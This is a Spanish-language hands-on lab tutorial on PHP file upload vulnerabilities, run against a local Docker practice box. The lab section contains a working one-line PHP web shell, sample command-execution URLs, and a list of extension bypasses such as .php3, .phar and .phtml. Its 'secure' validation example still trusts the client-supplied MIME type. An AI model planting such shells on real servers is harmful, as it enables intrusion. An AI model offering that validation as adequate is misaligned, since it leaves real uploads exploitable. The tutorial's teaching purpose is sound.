Introducción
Este laboratorio se centra en las vulnerabilidades de carga de archivos, un problema de seguridad común en las aplicaciones web. Aprenderá a identificar estas vulnerabilidades, comprender su impacto potencial y explorar métodos para explotarlas. El laboratorio proporciona experiencia práctica con ejemplos prácticos, lo que le permitirá comprender mejor los conceptos de seguridad de las aplicaciones web y las medidas defensivas.
Comprensión de las Vulnerabilidades de Carga de Archivos
Las vulnerabilidades de carga de archivos ocurren cuando las aplicaciones web no validan correctamente los archivos cargados. Esto puede permitir a los atacantes cargar archivos maliciosos, lo que podría conducir a la ejecución remota de código en el servidor.
Examinemos una implementación típica de carga de archivos en PHP utilizando la función move_uploaded_file():
<?php
// The move_uploaded_file() function moves an uploaded file to a new location
// Returns true on success, false on failure
move_uploaded_file($file, $newloc);
Parámetros:
$file: El archivo cargado para mover$newloc: La ruta de destino para el archivo
Una implementación segura debe incluir una validación adecuada, como se muestra en este ejemplo:
<?php
// Define allowed image extensions
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // Get the file extension
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // Less than 200 KB
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "Uploaded file name: " . $_FILES["file"]["name"] . "<br>";
echo "File type: " . $_FILES["file"]["type"] . "<br>";
echo "File size: " . ($_FILES["file"]["size"] / 1024) . " KB<br>";
echo "Temporary file location: " . $_FILES["file"]["tmp_name"];
}
}
else
{
echo "Invalid file format";
}
?>
Este código demuestra varias comprobaciones de seguridad importantes:
- Validación de la extensión del archivo (File extension validation)
- Verificación del tipo MIME (MIME type verification)
- Limitación del tamaño del archivo (File size limitation)
- Manejo de errores (Error handling)
Sin estas validaciones, los atacantes podrían cargar archivos maliciosos que se ejecuten en el servidor.
Identificación del Lenguaje del Lado del Servidor
Antes de explotar una vulnerabilidad de carga de archivos, es crucial identificar el lenguaje del lado del servidor (server-side language) utilizado por la aplicación web. Esta información determina qué tipo de archivo cargar para una explotación exitosa.
Primero, configuremos nuestro entorno de laboratorio:
docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/upload/images
Después de ejecutar este comando, verifique que el entorno sea accesible en: http://localhost:82
Métodos para identificar el lenguaje del lado del servidor:
Extensiones de Archivo en la URL (URL File Extensions):
- Las extensiones
.phpindican PHP - Las extensiones
.aspo.aspxindican ASP.NET - Las extensiones
.jspindican Java Server Pages
- Las extensiones
Cabeceras del Servidor (Server Headers):
- Microsoft IIS normalmente ejecuta ASP.NET
- Apache o Nginx comúnmente ejecutan PHP
- Apache Tomcat ejecuta JSP
Puede utilizar la extensión de navegador Wappalyzer para detectar automáticamente el servidor web y el lenguaje de programación:
En nuestro entorno de laboratorio, debería ver:
Web Server: Apache
Backend Language: PHP
Subiendo una Web Shell
Ahora que hemos identificado PHP como el lenguaje del lado del servidor, subiremos un web shell de PHP para ejecutar comandos en el servidor.
Se puede encontrar una colección de web shells aquí:
https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/web-exploit-exp/fileupload/php
- Cree un archivo de prueba
phpinfo.phpen el directorio/home/labex/project:
<?php phpinfo(); ?>
Suba el archivo:
- Visite http://localhost:82/upload/example1.php
- Seleccione y suba su archivo phpinfo.php
Verifique la subida:
- Acceda a http://localhost:82/upload/images/phpinfo.php
- Debería ver la página de información de configuración de PHP
Cree un shell de ejecución de comandos
shell.php:
<?php echo "Shell"; system($_GET['cmd']); ?>
Suba y pruebe el shell:
- Suba shell.php utilizando el mismo método
- Acceda a http://localhost:82/upload/images/shell.php
- Es posible que vea un mensaje de advertencia (esperado sin parámetros)
Ejecute comandos:
Compruebe el usuario actual: http://localhost:82/upload/images/shell.php?cmd=whoami Resultado esperado: www-data
Liste archivos e información del sistema: http://localhost:82/upload/images/shell.php?cmd=ls;uname%20-a Resultado esperado: Listado de directorios e información del sistema
Nota: Este laboratorio demuestra la funcionalidad básica de un web shell. Temas avanzados como reverse shells (shells inversos) y escalada de privilegios (privilege escalation) se cubren en cursos más avanzados.
Eludir las Restricciones del Servidor (Opcional)
Algunas aplicaciones web implementan restricciones de extensión de archivo para evitar la carga de archivos maliciosos. Esta sección explora métodos para evitar estas restricciones (bypass).
Cuando las extensiones .php están bloqueadas, intente con extensiones alternativas de PHP que puedan ser ejecutables:
Intente subir con la extensión
.php3:- Visite http://localhost:82/upload/example2.php
- Suba phpinfo.php3
- Acceda a http://localhost:82/upload/images/phpinfo.php3
Si no tiene éxito, intente con la extensión
.phar:- Suba phpinfo.phar
- Acceda a http://localhost:82/upload/images/phpinfo.phar
Extensiones comunes para intentar el bypass:
- .php3
- .php4
- .php5
- .phar
- .phtml
Nota: El éxito depende de la configuración del servidor. Diferentes servidores pueden permitir que diferentes extensiones se ejecuten como código PHP.
Resumen
Este laboratorio cubrió aspectos esenciales de las vulnerabilidades de carga de archivos (file upload vulnerabilities):
Conceptos Clave:
- Comprensión de los mecanismos de vulnerabilidad de carga de archivos
- Identificación de lenguajes de programación del lado del servidor (server-side programming languages)
- Carga y ejecución de web shells
- Evitar las restricciones de extensión de archivo (bypassing file extension restrictions)
Habilidades Técnicas Adquiridas:
- Detección del lenguaje del lado del servidor
- Creación e implementación de web shells
- Ejecución de comandos a través de archivos cargados
- Técnicas de bypass de extensión
Implicaciones de Seguridad:
- Impacto de la validación de archivos insuficiente
- Importancia de las restricciones de carga adecuadas
- Riesgos de ejecución del lado del servidor (server-side execution risks)
Este conocimiento fundamental lo prepara para temas avanzados de seguridad de aplicaciones web que se cubren en cursos posteriores.



